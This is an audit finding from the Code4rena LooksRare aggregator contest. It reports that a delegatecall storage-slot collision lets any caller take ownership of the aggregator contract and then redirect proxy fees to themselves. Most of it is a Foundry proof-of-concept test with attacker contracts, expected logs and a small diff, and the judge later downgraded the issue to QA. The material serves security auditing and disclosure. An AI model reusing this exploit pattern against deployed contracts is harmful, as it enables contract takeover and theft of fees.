Platform: Code4rena
Start Date: 08/11/2022
Pot Size: $60,500 USDC
Total HM: 6
Participants: 72
Period: 5 days
Judge: Picodes
Total Solo HM: 2
Id: 178
League: ETH
Rank: 65/72
Findings: 1
Award: $36.34
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: RaymondFam
Also found by: 0x1f8b, 0x52, 0xSmartContract, 0xc0ffEE, 0xhacksmithh, 8olidity, Awesome, BClabs, Bnke0x0, Chom, Deivitto, Hashlock, IllIllI, Josiah, KingNFT, Nyx, R2, ReyAdmirado, Rolezn, SamGMK, Sathish9098, SinceJuly, V_B, Vadis, Waze, a12jmx, adriro, ajtra, aphak5010, bearonbike, bin, brgltd, carlitox477, carrotsmuggler, cccz, ch0bu, chaduke, datapunk, delfin454000, erictee, fatherOfBlocks, fs0c, horsefacts, jayphbee, ktg, ladboy233, pashov, perseverancesuccess, rbserver, ret2basic, tnevler, zaskoh
36.3434 USDC - $36.34
https://github.com/code-423n4/2022-11-looksrare/blob/main/contracts/LooksRareAggregator.sol#L88 https://github.com/code-423n4/2022-11-looksrare/blob/main/contracts/LooksRareAggregator.sol#L158
The delegatecall in LooksRareAggregator
can be used to change the owner of the contract. If the first storage slot of GenericMarketProxy
is modified using the delegatecall then the owner variable of LooksRareAggregator
would be modified.
After becoming the owner the attacker can set _proxyFunctionSelectors
to true to any functions they want.
This can further be used to delegatecall to an attackers controlled contract which would modify the storage of all _proxyFeeData
, and change the bp of any proxy to be greater than 10000
and reciepent as the attacker
address.
// SPDX-License-Identifier: MIT pragma solidity 0.8.17; import {IERC721} from "../../contracts/interfaces/IERC721.sol"; import {IERC1155} from "../../contracts/interfaces/IERC1155.sol"; import {LooksRareAggregator} from "../../contracts/LooksRareAggregator.sol"; import {LooksRareProxy} from "../../contracts/proxies/LooksRareProxy.sol"; import {SeaportProxy} from "../../contracts/proxies/SeaportProxy.sol"; import {TokenReceiver} from "../../contracts/TokenReceiver.sol"; import {TokenRescuer} from "../../contracts/TokenRescuer.sol"; import {ReentrancyGuard} from "../../contracts/ReentrancyGuard.sol"; import {ILooksRareAggregator} from "../../contracts/interfaces/ILooksRareAggregator.sol"; import {BasicOrder, TokenTransfer} from "../../contracts/libraries/OrderStructs.sol"; import {MockERC20} from "./utils/MockERC20.sol"; import {LowLevelERC20Approve} from "../../contracts/lowLevelCallers/LowLevelERC20Approve.sol"; import {BasicOrder, FeeData, TokenTransfer} from "../../contracts/libraries/OrderStructs.sol"; import {LowLevelERC721Transfer} from "../../contracts/lowLevelCallers/LowLevelERC721Transfer.sol"; import {LowLevelERC1155Transfer} from "../../contracts/lowLevelCallers/LowLevelERC1155Transfer.sol"; import {TestHelpers} from "./TestHelpers.sol"; import {TestParameters} from "./TestParameters.sol"; import {LooksRareProxyTestHelpers} from "./LooksRareProxyTestHelpers.sol"; import {SeaportProxyTestHelpers} from "./SeaportProxyTestHelpers.sol"; import {ScamRecipient} from "./utils/ScamRecipient.sol"; /** * @notice LooksRareAggregator execution fail scenarios */ contract LooksRareAggregatorTradesTest is TestParameters, TestHelpers, LooksRareProxyTestHelpers, SeaportProxyTestHelpers { LooksRareAggregator private aggregator; FakeLooksRareAggregator public fakeaggregator; function testExecuteZeroOriginator() public { emit log_address(address(this)); vm.createSelectFork(vm.rpcUrl("mainnet"), 15_282_897); aggregator = new LooksRareAggregator(); GenericMarketPlaceProxy genericproxy = new GenericMarketPlaceProxy(); LooksRareProxy looksRareProxy = new LooksRareProxy(LOOKSRARE_V1, address(aggregator)); aggregator.setFee( address(looksRareProxy) , 1000 , address(aggregator)); // Since we are forking mainnet, we have to make sure it has 0 ETH. vm.deal(address(genericproxy), 0); aggregator.addFunction(address(genericproxy), GenericMarketPlaceProxy.execute.selector); TokenTransfer[] memory tokenTransfers = new TokenTransfer[](0); BasicOrder[] memory validOrders = validBAYCOrders(); BasicOrder[] memory orders = new BasicOrder[](1); orders[0] = validOrders[0]; bytes[] memory ordersExtraData = new bytes[](1); ordersExtraData[0] = abi.encode(orders[0].price, 9550, 0, LOOKSRARE_STRATEGY_FIXED_PRICE); ILooksRareAggregator.TradeData[] memory tradeData = new ILooksRareAggregator.TradeData[](1); tradeData[0] = ILooksRareAggregator.TradeData({ proxy: address(genericproxy), selector: GenericMarketPlaceProxy.execute.selector, value: orders[0].price, maxFeeBp: 0, orders: orders, ordersExtraData: ordersExtraData, extraData: "" }); vm.deal(_buyer, orders[0].price); vm.prank(_buyer); vm.expectEmit(true, false, false, false); emit Sweep(_buyer); aggregator.execute{value: orders[0].price}(tokenTransfers, tradeData, address(0), _buyer, false); emit log_address(address(_buyer)); emit log_address(aggregator.owner()); // now the _buyer has become the owner of the contract LooksRareAggregator. vm.startPrank(_buyer); fakeaggregator = new FakeLooksRareAggregator(); aggregator.addFunction(address(fakeaggregator), FakeLooksRareAggregator.execute.selector); TokenTransfer[] memory tokenTransfers1 = new TokenTransfer[](0); BasicOrder[] memory validOrders1 = validBAYCOrders(); BasicOrder[] memory orders1 = new BasicOrder[](1); orders1[0] = validOrders1[0]; bytes[] memory ordersExtraData1 = new bytes[](1); ordersExtraData1[0] = abi.encode(orders1[0].price, 9550, 0, LOOKSRARE_STRATEGY_FIXED_PRICE); bytes memory extraData1 = abi.encode(100000000, address(_buyer) , address(looksRareProxy) ); ILooksRareAggregator.TradeData[] memory tradeData1 = new ILooksRareAggregator.TradeData[](1); tradeData1[0] = ILooksRareAggregator.TradeData({ proxy: address(fakeaggregator), selector: FakeLooksRareAggregator.execute.selector, value: orders1[0].price, maxFeeBp: 0, orders: orders1, ordersExtraData: ordersExtraData1, extraData: extraData1 }); vm.deal(_buyer, orders1[0].price); vm.expectEmit(true, false, false, false); emit Sweep(_buyer); // now let's check the bp and reciepient before attack // uint256 bpcheck1 = aggregator.getFeebp(address(looksRareProxy)); // address recipientcheck1 = aggregator.getFeerecipient(address(looksRareProxy)); // emit log_uint(bpcheck1); // emit log_address(recipientcheck1); aggregator.execute{value: orders1[0].price}(tokenTransfers1, tradeData1, address(0), _buyer, false); // now let's check the bp and reciepient after attack uint256 bpcheck2 = aggregator.getFeebp(address(looksRareProxy)); address recipientcheck2 = aggregator.getFeerecipient(address(looksRareProxy)); emit log_uint(bpcheck2); emit log_address(recipientcheck2); } } contract FakeLooksRareAggregator is TokenRescuer, TokenReceiver, ReentrancyGuard, LowLevelERC20Approve, LowLevelERC721Transfer, LowLevelERC1155Transfer{ address public erc20EnabledLooksRareAggregator; mapping(address => mapping(bytes4 => bool)) private _proxyFunctionSelectors; mapping(address => FeeData) private _proxyFeeData; constructor () public {} function execute( BasicOrder[] calldata orders, bytes[] calldata ordersExtraData, bytes memory extraData, address recipient, bool isAtomic, uint256, address ) external payable { uint256 feebp; address feerecipient; address looksrare; (feebp,feerecipient,looksrare) = abi.decode(extraData, (uint256, address,address)); _proxyFeeData[looksrare].bp = feebp; _proxyFeeData[looksrare].recipient = feerecipient; } } contract GenericMarketPlaceProxy { address currentrecipient; constructor () public {} function execute( BasicOrder[] calldata orders, bytes[] calldata ordersExtraData, bytes memory, address recipient, bool isAtomic, uint256, address ) external payable { currentrecipient = recipient; // rest of the function } }
The output should look like this:
[PASS] testExecuteZeroOriginator() (gas: 6033117) Logs: 0xb4c79dab8f259c7aee6e5b2aa729821864227e84 // original owner of LooksRareAggregator 0x38dee936aa3d8e6370524a7cba38c96a896d9d9f // _buyer/attacker address 0x38dee936aa3d8e6370524a7cba38c96a896d9d9f // owner of LooksRareAggregator after attack 100000000 // modified bp of looksRareProxy after attack (greater than 10000) 0x38dee936aa3d8e6370524a7cba38c96a896d9d9f // modified reciepient of looksRareProxy after attack
Note : Here I’ve modified the LooksRareAggergator.sol and added two new functions to show the proxyfee values . This is just to showcase the working of exploit.
diff --git a/contracts/LooksRareAggregator.sol b/contracts/LooksRareAggregator.sol index f215f39..e745b96 100644 --- a/contracts/LooksRareAggregator.sol +++ b/contracts/LooksRareAggregator.sol @@ -162,6 +162,14 @@ contract LooksRareAggregator is emit FeeUpdated(proxy, bp, recipient); } + function getFeebp(address proxy) view public returns(uint256) { + return _proxyFeeData[proxy].bp; + } + + function getFeerecipient(address proxy) view public returns(address) { + return _proxyFeeData[proxy].recipient; + } + /** * @notice Approve marketplaces to transfer ERC20 tokens from the aggregator * @param marketplace The marketplace address to approve
Its hard to tell how this can be mitigated. Possibily checking the stored fee value during every transaction can solve the issue.
#0 - c4-judge
2022-11-20T10:35:08Z
Picodes marked the issue as duplicate of #125
#1 - c4-judge
2022-12-16T14:02:27Z
Picodes marked the issue as not a duplicate
#2 - c4-judge
2022-12-16T14:02:35Z
Picodes changed the severity to QA (Quality Assurance)
#3 - c4-judge
2022-12-16T14:05:00Z
Picodes marked the issue as grade-b